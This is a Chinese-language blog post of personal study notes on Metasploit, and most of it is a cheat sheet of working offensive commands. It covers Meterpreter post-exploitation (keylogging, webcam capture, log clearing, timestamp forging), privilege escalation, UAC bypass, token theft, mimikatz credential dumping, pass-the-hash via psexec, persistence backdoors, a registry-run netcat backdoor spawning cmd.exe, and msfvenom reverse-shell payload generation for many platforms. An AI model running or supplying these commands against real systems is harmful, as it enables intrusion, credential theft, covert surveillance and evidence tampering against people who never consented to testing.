使用Metasploit Framework進行滲透測試的基本姿勢

Metasploit Framework


這篇文章是我自己的學習筆記,發現大家對msf的熱情非常高,希望各位師傅更好的使用Metasploit Framework進行滲透測試,重點是關於Meterpreter和Msfvenom的利用,如有問題請指正,使用時注意修改參數。

基礎命令

啓動msf msfconsole

  • help或?:

顯示msfconsole可以使用的命令。help <command>,顯示某一命令的用法。

  • connect:

可以理解成MSF中的nc命令,可以使用connect -h查看詳細用法。connect [options] <host> <port>

  • show:

用show命令查看msf提供的資源。在根目錄下執行的話,由於有些模塊資源比較多,需要執行show命令要較長的時間。 show exploits:查看可以使用的exploit
除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊後才能使用,比如 show targets

  • search:

搜索模塊
簡單搜索:seach ms17_010
多條件搜索縮小範圍e.g.:search name:mysql type:exploit platform:linux

  • info:

查看模塊的信息 info <module name>
如果用use使用了一個module,直接輸入info即可查看

  • use:

search找到模塊後,用use使用模塊 use exploit/windows/smb/ms08_067_netapi
用use使用一個模塊後,可以使用 show options查看我們需要配置的選項、使用show targets選擇目標主機系統、使用show payloads選擇payload、使用show advanced查看高級參數、使用show evasion查看用來做混淆、逃避的模塊。

  • set/setg:(這裏的g代表global)

設置參數,比如要滲透的主機IP、payload等。我們可以用show missing查看沒有設置的參數
setg是設置全局變量,避免每個模塊都要輸入相同的參數

  • unset/unsetg:

取消設置參數。unsetg是取消設置的全局變量

  • save:

設置的參數在下一次啓動的時候不會生效,可以用save保存我們使用過程的設置。

  • check:

檢查目標是否真的存在這個漏洞,大部分模塊沒有check功能

  • back:

回到msfconsole根目錄

  • run或exploit:

開始使用模塊
exploit -j:以後臺的方式運行

  • sessions:

查看當前已經建立的sessions,前提已經拿到了shell
sessions -i <session id> 可以進入一個session交互 殺掉session session -k <session id>,<session id>

  • load/unload:

調用外部的掃描命令,比如 load openvas

  • clear

清屏

Msf5的七大Module

auxiliary 輔助模塊

負責執行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊

encoders 編碼模塊

evasion 規避(AV)模塊

exploits 漏洞利用模塊

利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動)

nops 空指令模塊

提高payload穩定性及維持大小。在滲透攻擊構造惡意數據緩衝區時,常常要在真正要執行的Shellcode之前添加一段空指令區, 這樣當觸發滲透攻擊後跳轉執行ShellCode時,有一個較大的安全着陸區,從而避免受到內存 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。

payloads

post 後滲透模塊

在取得目標系統遠程控制權後,進行一系列的後滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作

用法

查看對應module所有可用的module show <module>
e.g. show nops

NOP Generators
==============
		(名)            (披露日期)       (等級)(能否檢查)(描述) 
   #  Name             Disclosure Date  Rank    Check  Description
   -  ----             ---------------  ----    -----  -----------
   0  aarch64/simple                    normal  No     Simple
   1  armle/simple                      normal  No     Simple
   2  mipsbe/better                     normal  No     Better
   3  php/generic                       normal  No     PHP Nop Generator
   4  ppc/simple                        normal  No     Simple
   5  sparc/random                      normal  No     SPARC NOP Generator
   6  tty/generic                       normal  No     TTY Nop Generator
   7  x64/simple                        normal  No     Simple
   8  x86/opty2                         normal  No     Opty2
   9  x86/single_byte                   normal  No     Single Byte

方法論

  • 掃描目標機,尋找可用exploit
  • 選擇可用的payload
  • 選擇一個編碼,躲避AV
  • 獲取shell

收集目標信息

使用auxiliary模塊進行端口掃描

查看可用的端口掃描 search portscan
調用端口掃描 use <id>
查看module詳細信息 info
查看所需設置參數和已經設置的參數 show options
設置參數 set option <settings>
啓動 run
退出該module back

使用auxiliary模塊進行服務掃描

查看可用的scanner search path:scanner

調用nmap進行掃描

用法同直接使用nmap

Meterpreter

不同的meterpreter用法可能有出(yan)入(ge)

root@silver:/tmp# msfconsole
msf > use exploit/multi/handler  
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
Payload options (php/meterpreter/reverse_tcp):
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  LHOST                   yes       The listen address (an interface may be specified)
  LPORT  4444             yes       The listen port
Exploit target:
  Id  Name
  --  ----
  0   Wildcard Target
msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > exploit  
[*] Started reverse TCP handler on 0.0.0.0:4444  
[*] Sending stage (53859 bytes) to 119.3.72.174
[*] Meterpreter session 1 opened (192.168.0.166:4444 -> 119.3.72.174:47157) at 2018-08-23 11:03:41 +0800

基本命令

隱藏session background
查看所有session sessions
主機閒置時間 idletime
查看權限 getuid
查看架構 sysinfo

進程遷移

查看目標機活躍進程 ps
查看Meterpreter的pid getpid
遷移到指定進程 migrate <pid>
自動遷移 run /post/windows/manage/migrate

清除日誌

清除部分windows中的應用程序日誌、系統日誌、安全日誌 clearav

執行文件

啓動一個cmd(-H不可見,-i交互) execute -H -i -f cmd.exe

外設命令

有侷限性(閹割)

關閉鼠標/鍵盤

開啓或禁止鍵盤/鼠標 uictl [enable/disable] [keyboard/mouse/all]
禁用鼠標 uictl disable mouse
禁用鍵盤 uictl disable keyboard

攝像頭攝像

列出攝像頭 webcam_list
拍照 webcam_snap
攝像 webcam_stream

鍵盤記錄

開始鍵盤記錄 keyscan_start
導出記錄數據 keyscan_dump
結束鍵盤記錄 keyscan_stop
post模塊 run post/windows/capture/keylog_recorder

系統命令

文件系統命令

基本文件操作

查看當前目錄(進程目錄)pwd
搜索文件 search -f *pass*
查看文件內容 cat <目標路徑>//<filename>
上傳文件到目標機上 upload <本機path><本機filename> <目標路徑>//<filename>
下載文件到本機上 download <path>//<filename> <本機路徑>/
編輯或創建文件 沒有的話,會新建文件 edit <path>//<filename>
刪除文件 rm <路徑>\\<filename>
只能在當前目錄下創建文件夾 mkdir lltest2
只能刪除當前目錄下文件夾 rmdir lltest2
操作攻擊者主機 查看當前目錄 getlwd 或者 lpwd
操作攻擊者主機 切換目錄 lcd /tmp

僞造時間戳

timestomp C:// -h #查看幫助
timestomp -v C://2.txt #查看時間戳
timestomp C://2.txt -f C://1.txt #將1.txt的時間戳複製給2.txt

網絡相關命令

基本網絡命令

ipconfig/ifconfig
netstat –ano
arp -a
查看代理信息 getproxy
查看路由 route

端口轉發

列出轉發的端口列表 portfwd list
將目標機的3389端口轉發到本地6666端口 portfwd add -l 6666 -p 3389 -r 127.0.0.1
刪除轉發的端口 portfwd delete –l 3389 –p 3389 –r [target host]

添加路由

自動添加 run post/multi/manage/autoroute
查看目標主機內網網段 run get_local_subnets
添加到目標環境網絡 run autoroute -s <網段>
查看添加的路由 run autoroute –p

掃描內網

幾個post
run post/windows/gather/arp_scanner RHOSTS=<網段>
run auxiliary/scanner/portscan/tcp RHOSTS=<ip> PORTS=<port>

Socks5代理

background
選擇代理 use``auxiliary/server/socks5
設置一下 set <options>
修改proxychains vi /etc/proxychains.conf
代理中運行火狐 proxychains firefox

sniff抓包

use sniffer
sniffer_interfaces #查看網卡
sniffer_start 2 #選擇網卡 開始抓包
sniffer_stats 2 #查看狀態
sniffer_dump 2 /tmp/lltest.pcap #導出pcap數據包
sniffer_stop 2 #停止抓包

信息收集

這類腳本位置
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather

run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟件信息
run post/windows/gather/dumplinks   #獲取最近的文件操作
run post/windows/gather/enum_ie  #獲取IE緩存
run post/windows/gather/enum_chrome   #獲取Chrome緩存
run post/windows/gather/enum_patches  #補丁信息
run post/windows/gather/enum_domain  #查找域控
run post/windows/gather/enum_services #服務信息
run post/windows/gather/dumplinks #最近操作
run post/multi/recon/local_exploit_suggester  #目標主機存在哪些本地提權漏洞

提權

getsystem提權

getsystem
getsystem工作原理:
①getsystem創建一個新的Windows服務,設置爲SYSTEM運行,當它啓動時連接到一個命名管道。
②getsystem產生一個進程,它創建一個命名管道並等待來自該服務的連接。
③Windows服務已啓動,導致與命名管道建立連接。
④該進程接收連接並調用ImpersonateNamedPipeClient,從而爲SYSTEM用戶創建模擬令牌。
然後用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權進程。

BypassUAC提權

幾個exp
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
payload執行後需要 getsystem
e.g.msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run

內核服務漏洞提權

run post/windows/gather/enum_patches #查看補丁信息
run post/multi/recon/local_exploit_suggester #目標主機存在哪些本地提權漏洞

VNC、截屏、RDP

VNC和截屏

enumdesktops #查看可用的桌面
getdesktop #獲取當前meterpreter 關聯的桌面
set_desktop #設置meterpreter關聯的桌面 -h查看幫助
screenshot #截屏
use espia #或者使用espia模塊截屏 然後輸入screengrab
run vnc #使用vnc遠程桌面連接

RDP

enable_rdp腳本

run post/windows/manage/enable_rdp #開啓遠程桌面
run post/windows/manage/enable_rdp USERNAME=<user> PASSWORD=<password> #添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #將3389端口轉發到6662

getgui方法

不推薦
run getgui –h #查看幫助
run getgui -e #開啓遠程桌面
run getgui -u <user> -p <password> #添加用戶
run getgui -f 6661 –e #3389端口轉發到6661

註冊表操作

upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳
ncreg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚舉run下的keyreg
setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看鍵值
nc -v <目標ip> #攻擊者連接nc後門

令牌操作

incognito假冒令牌

use incognito #help incognito 查看幫助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 執行``或者直接shell
rev2self #返回原始token

steal_token竊取令牌

ps
steal_token <pid值> #從指定進程中竊取token
drop_token #刪除竊取的token

Hash攻擊

mimikatz命令

System權限
msv 抓取系統哈希
kerberos 抓取系統票據
load mimikatz #help mimikatz 查看幫助
wdigest #獲取Wdigest密碼
mimikatz_command -f samdump::hashes #執行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f crypto::

哈希傳遞

run post/windows/gather/smart_hashdump #從SAM導出密碼哈希
通過psexec進行,條件:①開啓445端口 smb服務;②開啓admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用戶需要設置SMBDomain
msf >exploit

權限維持

Persistence後門

run persistence –h #查看幫助
run persistence -X -i 5 -p 6661 -r <攻擊機Ip>
#-X指定啓動的方式爲開機自啓動,-i反向連接的時間間隔(5s) –r 指定攻擊者的ip
連接
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST <攻擊機ip>
msf > set LPORT <分配的port>
msf > exploit

Metsvc後門

run metsvc –h # 查看幫助
run metsvc –A #自動安裝後門
連接
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST <目標機ip>
msf > set LPORT <分配的ip>
msf > exploit

Msfvenom

各平臺基本payload生成方法

  • Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf

  • Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

  • Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads

  • PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

  • ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

  • JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

  • WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads

  • Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

  • Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

  • Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章